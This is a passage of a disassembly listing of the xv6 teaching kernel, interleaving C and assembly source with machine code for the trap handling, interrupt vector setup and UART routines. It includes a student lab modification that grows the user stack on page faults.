801053dc: b8 ff ff ff ff mov $0xffffffff,%eax
801053e1: eb da jmp 801053bd <sys_sleep+0x7d>
801053e3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801053e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801053f0 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
801053f0: 55 push %ebp
801053f1: 89 e5 mov %esp,%ebp
801053f3: 53 push %ebx
801053f4: 83 ec 14 sub $0x14,%esp
uint xticks;
acquire(&tickslock);
801053f7: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801053fe: e8 2d ed ff ff call 80104130 <acquire>
xticks = ticks;
80105403: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
release(&tickslock);
80105409: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105410: e8 0b ee ff ff call 80104220 <release>
return xticks;
}
80105415: 83 c4 14 add $0x14,%esp
80105418: 89 d8 mov %ebx,%eax
8010541a: 5b pop %ebx
8010541b: 5d pop %ebp
8010541c: c3 ret
8010541d <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
8010541d: 1e push %ds
pushl %es
8010541e: 06 push %es
pushl %fs
8010541f: 0f a0 push %fs
pushl %gs
80105421: 0f a8 push %gs
pushal
80105423: 60 pusha
# Set up data segments.
movw $(SEG_KDATA<<3), %ax
80105424: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80105428: 8e d8 mov %eax,%ds
movw %ax, %es
8010542a: 8e c0 mov %eax,%es
# Call trap(tf), where tf=%esp
pushl %esp
8010542c: 54 push %esp
call trap
8010542d: e8 de 00 00 00 call 80105510 <trap>
addl $4, %esp
80105432: 83 c4 04 add $0x4,%esp
80105435 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80105435: 61 popa
popl %gs
80105436: 0f a9 pop %gs
popl %fs
80105438: 0f a1 pop %fs
popl %es
8010543a: 07 pop %es
popl %ds
8010543b: 1f pop %ds
addl $0x8, %esp # trapno and errcode
8010543c: 83 c4 08 add $0x8,%esp
iret
8010543f: cf iret
80105440 <tvinit>:
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80105440: 31 c0 xor %eax,%eax
80105442: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105448: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx
8010544f: b9 08 00 00 00 mov $0x8,%ecx
80105454: 66 89 0c c5 a2 4d 11 mov %cx,-0x7feeb25e(,%eax,8)
8010545b: 80
8010545c: c6 04 c5 a4 4d 11 80 movb $0x0,-0x7feeb25c(,%eax,8)
80105463: 00
80105464: c6 04 c5 a5 4d 11 80 movb $0x8e,-0x7feeb25b(,%eax,8)
8010546b: 8e
8010546c: 66 89 14 c5 a0 4d 11 mov %dx,-0x7feeb260(,%eax,8)
80105473: 80
80105474: c1 ea 10 shr $0x10,%edx
80105477: 66 89 14 c5 a6 4d 11 mov %dx,-0x7feeb25a(,%eax,8)
8010547e: 80
for(i = 0; i < 256; i++)
8010547f: 83 c0 01 add $0x1,%eax
80105482: 3d 00 01 00 00 cmp $0x100,%eax
80105487: 75 bf jne 80105448 <tvinit+0x8>
{
80105489: 55 push %ebp
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
8010548a: ba 08 00 00 00 mov $0x8,%edx
{
8010548f: 89 e5 mov %esp,%ebp
80105491: 83 ec 18 sub $0x18,%esp
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105494: a1 08 a1 10 80 mov 0x8010a108,%eax
initlock(&tickslock, "time");
80105499: c7 44 24 04 d9 75 10 movl $0x801075d9,0x4(%esp)
801054a0: 80
801054a1: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801054a8: 66 89 15 a2 4f 11 80 mov %dx,0x80114fa2
801054af: 66 a3 a0 4f 11 80 mov %ax,0x80114fa0
801054b5: c1 e8 10 shr $0x10,%eax
801054b8: c6 05 a4 4f 11 80 00 movb $0x0,0x80114fa4
801054bf: c6 05 a5 4f 11 80 ef movb $0xef,0x80114fa5
801054c6: 66 a3 a6 4f 11 80 mov %ax,0x80114fa6
initlock(&tickslock, "time");
801054cc: e8 6f eb ff ff call 80104040 <initlock>
}
801054d1: c9 leave
801054d2: c3 ret
801054d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801054d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801054e0 <idtinit>:
void
idtinit(void)
{
801054e0: 55 push %ebp
pd[0] = size-1;
801054e1: b8 ff 07 00 00 mov $0x7ff,%eax
801054e6: 89 e5 mov %esp,%ebp
801054e8: 83 ec 10 sub $0x10,%esp
801054eb: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
801054ef: b8 a0 4d 11 80 mov $0x80114da0,%eax
801054f4: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
801054f8: c1 e8 10 shr $0x10,%eax
801054fb: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
801054ff: 8d 45 fa lea -0x6(%ebp),%eax
80105502: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105505: c9 leave
80105506: c3 ret
80105507: 89 f6 mov %esi,%esi
80105509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105510 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80105510: 55 push %ebp
80105511: 89 e5 mov %esp,%ebp
80105513: 57 push %edi
80105514: 56 push %esi
80105515: 53 push %ebx
80105516: 83 ec 3c sub $0x3c,%esp
80105519: 8b 5d 08 mov 0x8(%ebp),%ebx
if(tf->trapno == T_SYSCALL){
8010551c: 8b 43 30 mov 0x30(%ebx),%eax
8010551f: 83 f8 40 cmp $0x40,%eax
80105522: 0f 84 a8 01 00 00 je 801056d0 <trap+0x1c0>
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
80105528: 83 e8 0e sub $0xe,%eax
8010552b: 83 f8 31 cmp $0x31,%eax
8010552e: 0f 87 dc 01 00 00 ja 80105710 <trap+0x200>
80105534: ff 24 85 e8 76 10 80 jmp *-0x7fef8918(,%eax,4)
8010553b: 90 nop
8010553c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
80105540: 0f 20 d6 mov %cr2,%esi
lapiceoi();
break;
//lab3
case T_PGFLT:
if((rcr2() > (STACKTOP - (myproc()->numPage*PGSIZE)))) {
80105543: e8 48 e1 ff ff call 80103690 <myproc>
80105548: 8b 40 7c mov 0x7c(%eax),%eax
8010554b: f7 d8 neg %eax
8010554d: c1 e0 0c shl $0xc,%eax
80105550: 05 fc ff ff 7f add $0x7ffffffc,%eax
80105555: 39 f0 cmp %esi,%eax
80105557: 0f 82 e1 02 00 00 jb 8010583e <trap+0x32e>
panic("out of bounds");
}
else {
if(allocuvm(myproc()->pgdir, (STACKTOP - (myproc()->numPage+1) * PGSIZE), STACKTOP - (myproc()->numPage) * PGSIZE) == 0) {
8010555d: e8 2e e1 ff ff call 80103690 <myproc>
80105562: 8b 40 7c mov 0x7c(%eax),%eax
80105565: f7 d8 neg %eax
80105567: c1 e0 0c shl $0xc,%eax
8010556a: 8d b0 fc ff ff 7f lea 0x7ffffffc(%eax),%esi
80105570: e8 1b e1 ff ff call 80103690 <myproc>
80105575: 8b 40 7c mov 0x7c(%eax),%eax
80105578: f7 d0 not %eax
8010557a: c1 e0 0c shl $0xc,%eax
8010557d: 8d b8 fc ff ff 7f lea 0x7ffffffc(%eax),%edi
80105583: e8 08 e1 ff ff call 80103690 <myproc>
80105588: 89 74 24 08 mov %esi,0x8(%esp)
8010558c: 89 7c 24 04 mov %edi,0x4(%esp)
80105590: 8b 40 04 mov 0x4(%eax),%eax
80105593: 89 04 24 mov %eax,(%esp)
80105596: e8 45 13 00 00 call 801068e0 <allocuvm>
8010559b: 85 c0 test %eax,%eax
8010559d: 0f 85 fd 01 00 00 jne 801057a0 <trap+0x290>
cprintf("Allocuvm failed; # of pages allocated: %d\n", myproc()->numPage);
801055a3: e8 e8 e0 ff ff call 80103690 <myproc>
801055a8: 8b 40 7c mov 0x7c(%eax),%eax
801055ab: c7 04 24 18 76 10 80 movl $0x80107618,(%esp)
801055b2: 89 44 24 04 mov %eax,0x4(%esp)
801055b6: e8 95 b0 ff ff call 80100650 <cprintf>
exit();
801055bb: e8 d0 e4 ff ff call 80103a90 <exit>
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
801055c0: e8 cb e0 ff ff call 80103690 <myproc>
801055c5: 85 c0 test %eax,%eax
801055c7: 74 0c je 801055d5 <trap+0xc5>
801055c9: e8 c2 e0 ff ff call 80103690 <myproc>
801055ce: 8b 50 24 mov 0x24(%eax),%edx
801055d1: 85 d2 test %edx,%edx
801055d3: 75 4b jne 80105620 <trap+0x110>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
801055d5: e8 b6 e0 ff ff call 80103690 <myproc>
801055da: 85 c0 test %eax,%eax
801055dc: 74 0d je 801055eb <trap+0xdb>
801055de: 66 90 xchg %ax,%ax
801055e0: e8 ab e0 ff ff call 80103690 <myproc>
801055e5: 83 78 0c 04 cmpl $0x4,0xc(%eax)
801055e9: 74 4d je 80105638 <trap+0x128>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
801055eb: e8 a0 e0 ff ff call 80103690 <myproc>
801055f0: 85 c0 test %eax,%eax
801055f2: 74 1d je 80105611 <trap+0x101>
801055f4: e8 97 e0 ff ff call 80103690 <myproc>
801055f9: 8b 40 24 mov 0x24(%eax),%eax
801055fc: 85 c0 test %eax,%eax
801055fe: 74 11 je 80105611 <trap+0x101>
80105600: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105604: 83 e0 03 and $0x3,%eax
80105607: 66 83 f8 03 cmp $0x3,%ax
8010560b: 0f 84 ec 00 00 00 je 801056fd <trap+0x1ed>
exit();
}
80105611: 83 c4 3c add $0x3c,%esp
80105614: 5b pop %ebx
80105615: 5e pop %esi
80105616: 5f pop %edi
80105617: 5d pop %ebp
80105618: c3 ret
80105619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105620: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105624: 83 e0 03 and $0x3,%eax
80105627: 66 83 f8 03 cmp $0x3,%ax
8010562b: 75 a8 jne 801055d5 <trap+0xc5>
exit();
8010562d: e8 5e e4 ff ff call 80103a90 <exit>
80105632: eb a1 jmp 801055d5 <trap+0xc5>
80105634: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc() && myproc()->state == RUNNING &&
80105638: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
8010563c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105640: 75 a9 jne 801055eb <trap+0xdb>
yield();
80105642: e8 69 e5 ff ff call 80103bb0 <yield>
80105647: eb a2 jmp 801055eb <trap+0xdb>
80105649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(cpuid() == 0){
80105650: e8 1b e0 ff ff call 80103670 <cpuid>
80105655: 85 c0 test %eax,%eax
80105657: 0f 84 7b 01 00 00 je 801057d8 <trap+0x2c8>
8010565d: 8d 76 00 lea 0x0(%esi),%esi
lapiceoi();
80105660: e8 0b d1 ff ff call 80102770 <lapiceoi>
break;
80105665: e9 56 ff ff ff jmp 801055c0 <trap+0xb0>
8010566a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
kbdintr();
80105670: e8 4b cf ff ff call 801025c0 <kbdintr>
lapiceoi();
80105675: e8 f6 d0 ff ff call 80102770 <lapiceoi>
break;
8010567a: e9 41 ff ff ff jmp 801055c0 <trap+0xb0>
8010567f: 90 nop
uartintr();
80105680: e8 eb 02 00 00 call 80105970 <uartintr>
lapiceoi();
80105685: e8 e6 d0 ff ff call 80102770 <lapiceoi>
break;
8010568a: e9 31 ff ff ff jmp 801055c0 <trap+0xb0>
8010568f: 90 nop
cprintf("cpu%d: spurious interrupt at %x:%x\n",
80105690: 8b 7b 38 mov 0x38(%ebx),%edi
80105693: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
80105697: e8 d4 df ff ff call 80103670 <cpuid>
8010569c: c7 04 24 f4 75 10 80 movl $0x801075f4,(%esp)
801056a3: 89 7c 24 0c mov %edi,0xc(%esp)
801056a7: 89 74 24 08 mov %esi,0x8(%esp)
801056ab: 89 44 24 04 mov %eax,0x4(%esp)
801056af: e8 9c af ff ff call 80100650 <cprintf>
801056b4: eb a7 jmp 8010565d <trap+0x14d>
801056b6: 66 90 xchg %ax,%ax
ideintr();
801056b8: e8 b3 c9 ff ff call 80102070 <ideintr>
801056bd: 8d 76 00 lea 0x0(%esi),%esi
lapiceoi();
801056c0: e8 ab d0 ff ff call 80102770 <lapiceoi>
break;
801056c5: e9 f6 fe ff ff jmp 801055c0 <trap+0xb0>
801056ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(myproc()->killed)
801056d0: e8 bb df ff ff call 80103690 <myproc>
801056d5: 8b 70 24 mov 0x24(%eax),%esi
801056d8: 85 f6 test %esi,%esi
801056da: 0f 85 e8 00 00 00 jne 801057c8 <trap+0x2b8>
myproc()->tf = tf;
801056e0: e8 ab df ff ff call 80103690 <myproc>
801056e5: 89 58 18 mov %ebx,0x18(%eax)
syscall();
801056e8: e8 33 ef ff ff call 80104620 <syscall>
if(myproc()->killed)
801056ed: e8 9e df ff ff call 80103690 <myproc>
801056f2: 8b 48 24 mov 0x24(%eax),%ecx
801056f5: 85 c9 test %ecx,%ecx
801056f7: 0f 84 14 ff ff ff je 80105611 <trap+0x101>
}
801056fd: 83 c4 3c add $0x3c,%esp
80105700: 5b pop %ebx
80105701: 5e pop %esi
80105702: 5f pop %edi
80105703: 5d pop %ebp
exit();
80105704: e9 87 e3 ff ff jmp 80103a90 <exit>
80105709: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc() == 0 || (tf->cs&3) == 0){
80105710: e8 7b df ff ff call 80103690 <myproc>
80105715: 85 c0 test %eax,%eax
80105717: 0f 84 eb 00 00 00 je 80105808 <trap+0x2f8>
8010571d: f6 43 3c 03 testb $0x3,0x3c(%ebx)
80105721: 0f 84 e1 00 00 00 je 80105808 <trap+0x2f8>
80105727: 0f 20 d1 mov %cr2,%ecx
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010572a: 8b 53 38 mov 0x38(%ebx),%edx
8010572d: 89 4d d8 mov %ecx,-0x28(%ebp)
80105730: 89 55 dc mov %edx,-0x24(%ebp)
80105733: e8 38 df ff ff call 80103670 <cpuid>
80105738: 8b 73 30 mov 0x30(%ebx),%esi
8010573b: 89 c7 mov %eax,%edi
8010573d: 8b 43 34 mov 0x34(%ebx),%eax
80105740: 89 45 e4 mov %eax,-0x1c(%ebp)
myproc()->pid, myproc()->name, tf->trapno,
80105743: e8 48 df ff ff call 80103690 <myproc>
80105748: 89 45 e0 mov %eax,-0x20(%ebp)
8010574b: e8 40 df ff ff call 80103690 <myproc>
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105750: 8b 55 dc mov -0x24(%ebp),%edx
80105753: 89 74 24 0c mov %esi,0xc(%esp)
myproc()->pid, myproc()->name, tf->trapno,
80105757: 8b 75 e0 mov -0x20(%ebp),%esi
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010575a: 8b 4d d8 mov -0x28(%ebp),%ecx
8010575d: 89 7c 24 14 mov %edi,0x14(%esp)
80105761: 89 54 24 18 mov %edx,0x18(%esp)
80105765: 8b 55 e4 mov -0x1c(%ebp),%edx
myproc()->pid, myproc()->name, tf->trapno,
80105768: 83 c6 6c add $0x6c,%esi
cprintf("pid %d %s: trap %d err %d on cpu %d "
8010576b: 89 4c 24 1c mov %ecx,0x1c(%esp)
myproc()->pid, myproc()->name, tf->trapno,
8010576f: 89 74 24 08 mov %esi,0x8(%esp)
cprintf("pid %d %s: trap %d err %d on cpu %d "
80105773: 89 54 24 10 mov %edx,0x10(%esp)
80105777: 8b 40 10 mov 0x10(%eax),%eax
8010577a: c7 04 24 a4 76 10 80 movl $0x801076a4,(%esp)
80105781: 89 44 24 04 mov %eax,0x4(%esp)
80105785: e8 c6 ae ff ff call 80100650 <cprintf>
myproc()->killed = 1;
8010578a: e8 01 df ff ff call 80103690 <myproc>
8010578f: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
80105796: e9 25 fe ff ff jmp 801055c0 <trap+0xb0>
8010579b: 90 nop
8010579c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
myproc()->numPage += 1;
801057a0: e8 eb de ff ff call 80103690 <myproc>
801057a5: 83 40 7c 01 addl $0x1,0x7c(%eax)
cprintf("Allocuvm success; # of pages allocated: %d\n", myproc()->numPage);
801057a9: e8 e2 de ff ff call 80103690 <myproc>
801057ae: 8b 40 7c mov 0x7c(%eax),%eax
801057b1: c7 04 24 44 76 10 80 movl $0x80107644,(%esp)
801057b8: 89 44 24 04 mov %eax,0x4(%esp)
801057bc: e8 8f ae ff ff call 80100650 <cprintf>
801057c1: e9 fa fd ff ff jmp 801055c0 <trap+0xb0>
801057c6: 66 90 xchg %ax,%ax
exit();
801057c8: e8 c3 e2 ff ff call 80103a90 <exit>
801057cd: 8d 76 00 lea 0x0(%esi),%esi
801057d0: e9 0b ff ff ff jmp 801056e0 <trap+0x1d0>
801057d5: 8d 76 00 lea 0x0(%esi),%esi
acquire(&tickslock);
801057d8: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801057df: e8 4c e9 ff ff call 80104130 <acquire>
wakeup(&ticks);
801057e4: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp)
ticks++;
801057eb: 83 05 a0 55 11 80 01 addl $0x1,0x801155a0
wakeup(&ticks);
801057f2: e8 89 e5 ff ff call 80103d80 <wakeup>
release(&tickslock);
801057f7: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
801057fe: e8 1d ea ff ff call 80104220 <release>
80105803: e9 55 fe ff ff jmp 8010565d <trap+0x14d>
80105808: 0f 20 d7 mov %cr2,%edi
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
8010580b: 8b 73 38 mov 0x38(%ebx),%esi
8010580e: e8 5d de ff ff call 80103670 <cpuid>
80105813: 89 7c 24 10 mov %edi,0x10(%esp)
80105817: 89 74 24 0c mov %esi,0xc(%esp)
8010581b: 89 44 24 08 mov %eax,0x8(%esp)
8010581f: 8b 43 30 mov 0x30(%ebx),%eax
80105822: c7 04 24 70 76 10 80 movl $0x80107670,(%esp)
80105829: 89 44 24 04 mov %eax,0x4(%esp)
8010582d: e8 1e ae ff ff call 80100650 <cprintf>
panic("trap");
80105832: c7 04 24 ec 75 10 80 movl $0x801075ec,(%esp)
80105839: e8 22 ab ff ff call 80100360 <panic>
panic("out of bounds");
8010583e: c7 04 24 de 75 10 80 movl $0x801075de,(%esp)
80105845: e8 16 ab ff ff call 80100360 <panic>
8010584a: 66 90 xchg %ax,%ax
8010584c: 66 90 xchg %ax,%ax
8010584e: 66 90 xchg %ax,%ax
80105850 <uartgetc>:
}
static int
uartgetc(void)
{
if(!uart)
80105850: a1 bc a5 10 80 mov 0x8010a5bc,%eax
{
80105855: 55 push %ebp
80105856: 89 e5 mov %esp,%ebp
if(!uart)
80105858: 85 c0 test %eax,%eax
8010585a: 74 14 je 80105870 <uartgetc+0x20>
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010585c: ba fd 03 00 00 mov $0x3fd,%edx
80105861: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105862: a8 01 test $0x1,%al
80105864: 74 0a je 80105870 <uartgetc+0x20>
80105866: b2 f8 mov $0xf8,%dl
80105868: ec in (%dx),%al
return -1;
return inb(COM1+0);
80105869: 0f b6 c0 movzbl %al,%eax
}
8010586c: 5d pop %ebp
8010586d: c3 ret
8010586e: 66 90 xchg %ax,%ax
return -1;
80105870: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105875: 5d pop %ebp
80105876: c3 ret
80105877: 89 f6 mov %esi,%esi
80105879: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105880 <uartputc>:
if(!uart)
80105880: a1 bc a5 10 80 mov 0x8010a5bc,%eax
80105885: 85 c0 test %eax,%eax
80105887: 74 3f je 801058c8 <uartputc+0x48>
{
80105889: 55 push %ebp
8010588a: 89 e5 mov %esp,%ebp
8010588c: 56 push %esi
8010588d: be fd 03 00 00 mov $0x3fd,%esi
80105892: 53 push %ebx
if(!uart)
80105893: bb 80 00 00 00 mov $0x80,%ebx
{
80105898: 83 ec 10 sub $0x10,%esp
8010589b: eb 14 jmp 801058b1 <uartputc+0x31>
8010589d: 8d 76 00 lea 0x0(%esi),%esi
microdelay(10);
801058a0: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
801058a7: e8 e4 ce ff ff call 80102790 <microdelay>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
801058ac: 83 eb 01 sub $0x1,%ebx
801058af: 74 07 je 801058b8 <uartputc+0x38>
801058b1: 89 f2 mov %esi,%edx
801058b3: ec in (%dx),%al
801058b4: a8 20 test $0x20,%al
801058b6: 74 e8 je 801058a0 <uartputc+0x20>
outb(COM1+0, c);
801058b8: 0f b6 45 08 movzbl 0x8(%ebp),%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801058bc: ba f8 03 00 00 mov $0x3f8,%edx
801058c1: ee out %al,(%dx)
}
801058c2: 83 c4 10 add $0x10,%esp
801058c5: 5b pop %ebx
801058c6: 5e pop %esi
801058c7: 5d pop %ebp
801058c8: f3 c3 repz ret
801058ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801058d0 <uartinit>:
{
801058d0: 55 push %ebp
801058d1: 31 c9 xor %ecx,%ecx
801058d3: 89 e5 mov %esp,%ebp
801058d5: 89 c8 mov %ecx,%eax
801058d7: 57 push %edi
801058d8: bf fa 03 00 00 mov $0x3fa,%edi
801058dd: 56 push %esi
801058de: 89 fa mov %edi,%edx
801058e0: 53 push %ebx
801058e1: 83 ec 1c sub $0x1c,%esp
801058e4: ee out %al,(%dx)
801058e5: be fb 03 00 00 mov $0x3fb,%esi
801058ea: b8 80 ff ff ff mov $0xffffff80,%eax
801058ef: 89 f2 mov %esi,%edx
801058f1: ee out %al,(%dx)
801058f2: b8 0c 00 00 00 mov $0xc,%eax
801058f7: b2 f8 mov $0xf8,%dl
801058f9: ee out %al,(%dx)
801058fa: bb f9 03 00 00 mov $0x3f9,%ebx
801058ff: 89 c8 mov %ecx,%eax
80105901: 89 da mov %ebx,%edx
80105903: ee out %al,(%dx)
80105904: b8 03 00 00 00 mov $0x3,%eax
80105909: 89 f2 mov %esi,%edx
8010590b: ee out %al,(%dx)
8010590c: b2 fc mov $0xfc,%dl
8010590e: 89 c8 mov %ecx,%eax
80105910: ee out %al,(%dx)
80105911: b8 01 00 00 00 mov $0x1,%eax
80105916: 89 da mov %ebx,%edx
80105918: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80105919: b2 fd mov $0xfd,%dl
8010591b: ec in (%dx),%al
if(inb(COM1+5) == 0xFF)
8010591c: 3c ff cmp $0xff,%al
8010591e: 74 42 je 80105962 <uartinit+0x92>
uart = 1;
80105920: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc
80105927: 00 00 00
8010592a: 89 fa mov %edi,%edx
8010592c: ec in (%dx),%al
8010592d: b2 f8 mov $0xf8,%dl
8010592f: ec in (%dx),%al
ioapicenable(IRQ_COM1, 0);
80105930: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105937: 00
for(p="xv6...\n"; *p; p++)
80105938: bb b0 77 10 80 mov $0x801077b0,%ebx
ioapicenable(IRQ_COM1, 0);
8010593d: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80105944: e8 57 c9 ff ff call 801022a0 <ioapicenable>
for(p="xv6...\n"; *p; p++)
80105949: b8 78 00 00 00 mov $0x78,%eax
8010594e: 66 90 xchg %ax,%ax
uartputc(*p);
80105950: 89 04 24 mov %eax,(%esp)
for(p="xv6...\n"; *p; p++)
80105953: 83 c3 01 add $0x1,%ebx
uartputc(*p);
80105956: e8 25 ff ff ff call 80105880 <uartputc>
for(p="xv6...\n"; *p; p++)
8010595b: 0f be 03 movsbl (%ebx),%eax
8010595e: 84 c0 test %al,%al
80105960: 75 ee jne 80105950 <uartinit+0x80>
}
80105962: 83 c4 1c add $0x1c,%esp
80105965: 5b pop %ebx
80105966: 5e pop %esi
80105967: 5f pop %edi
80105968: 5d pop %ebp
80105969: c3 ret
8010596a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105970 <uartintr>:
void
uartintr(void)
{
80105970: 55 push %ebp
80105971: 89 e5 mov %esp,%ebp
80105973: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80105976: c7 04 24 50 58 10 80 movl $0x80105850,(%esp)
8010597d: e8 2e ae ff ff call 801007b0 <consoleintr>
}
80105982: c9 leave
80105983: c3 ret
80105984 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80105984: 6a 00 push $0x0
pushl $0
80105986: 6a 00 push $0x0
jmp alltraps
80105988: e9 90 fa ff ff jmp 8010541d <alltraps>
8010598d <vector1>:
.globl vector1
vector1:
pushl $0
8010598d: 6a 00 push $0x0
pushl $1
8010598f: 6a 01 push $0x1
jmp alltraps
80105991: e9 87 fa ff ff jmp 8010541d <alltraps>
80105996 <vector2>:
.globl vector2
vector2:
pushl $0
80105996: 6a 00 push $0x0
pushl $2
80105998: 6a 02 push $0x2
jmp alltraps
8010599a: e9 7e fa ff ff jmp 8010541d <alltraps>
8010599f <vector3>:
.globl vector3
vector3:
pushl $0
8010599f: 6a 00 push $0x0
pushl $3
801059a1: 6a 03 push $0x3
jmp alltraps
801059a3: e9 75 fa ff ff jmp 8010541d <alltraps>
801059a8 <vector4>:
.globl vector4
vector4:
pushl $0
801059a8: 6a 00 push $0x0
pushl $4
801059aa: 6a 04 push $0x4
jmp alltraps
801059ac: e9 6c fa ff ff jmp 8010541d <alltraps>
801059b1 <vector5>:
.globl vector5
vector5:
pushl $0
801059b1: 6a 00 push $0x0
pushl $5
801059b3: 6a 05 push $0x5
jmp alltraps
801059b5: e9 63 fa ff ff jmp 8010541d <alltraps>
801059ba <vector6>:
.globl vector6
vector6:
pushl $0
801059ba: 6a 00 push $0x0
pushl $6
801059bc: 6a 06 push $0x6
jmp alltraps
801059be: e9 5a fa ff ff jmp 8010541d <alltraps>
801059c3 <vector7>:
.globl vector7
vector7:
pushl $0
801059c3: 6a 00 push $0x0
pushl $7
801059c5: 6a 07 push $0x7
jmp alltraps
801059c7: e9 51 fa ff ff jmp 8010541d <alltraps>
801059cc <vector8>:
.globl vector8
vector8:
pushl $8
801059cc: 6a 08 push $0x8
jmp alltraps
801059ce: e9 4a fa ff ff jmp 8010541d <alltraps>
801059d3 <vector9>:
.globl vector9
vector9:
pushl $0
801059d3: 6a 00 push $0x0
pushl $9
801059d5: 6a 09 push $0x9
jmp alltraps
801059d7: e9 41 fa ff ff jmp 8010541d <alltraps>
801059dc <vector10>:
.globl vector10
vector10:
pushl $10
801059dc: 6a 0a push $0xa
jmp alltraps
801059de: e9 3a fa ff ff jmp 8010541d <alltraps>
801059e3 <vector11>:
.globl vector11
vector11:
pushl $11
801059e3: 6a 0b push $0xb
jmp alltraps
801059e5: e9 33 fa ff ff jmp 8010541d <alltraps>
801059ea <vector12>:
.globl vector12
vector12:
pushl $12
801059ea: 6a 0c push $0xc
jmp alltraps
801059ec: e9 2c fa ff ff jmp 8010541d <alltraps>
801059f1 <vector13>:
.globl vector13
vector13:
pushl $13
801059f1: 6a 0d push $0xd
jmp alltraps
801059f3: e9 25 fa ff ff jmp 8010541d <alltraps>
801059f8 <vector14>:
.globl vector14
vector14:
pushl $14
801059f8: 6a 0e push $0xe
jmp alltraps
801059fa: e9 1e fa ff ff jmp 8010541d <alltraps>
801059ff <vector15>:
.globl vector15
vector15:
pushl $0
801059ff: 6a 00 push $0x0
pushl $15
80105a01: 6a 0f push $0xf
jmp alltraps
80105a03: e9 15 fa ff ff jmp 8010541d <alltraps>
80105a08 <vector16>:
.globl vector16
vector16:
pushl $0
80105a08: 6a 00 push $0x0
pushl $16
80105a0a: 6a 10 push $0x10
jmp alltraps
80105a0c: e9 0c fa ff ff jmp 8010541d <alltraps>
80105a11 <vector17>:
.globl vector17
vector17:
pushl $17
80105a11: 6a 11 push $0x11
jmp alltraps
80105a13: e9 05 fa ff ff jmp 8010541d <alltraps>
80105a18 <vector18>:
.globl vector18
vector18:
pushl $0
80105a18: 6a 00 push $0x0
pushl $18
80105a1a: 6a 12 push $0x12
jmp alltraps
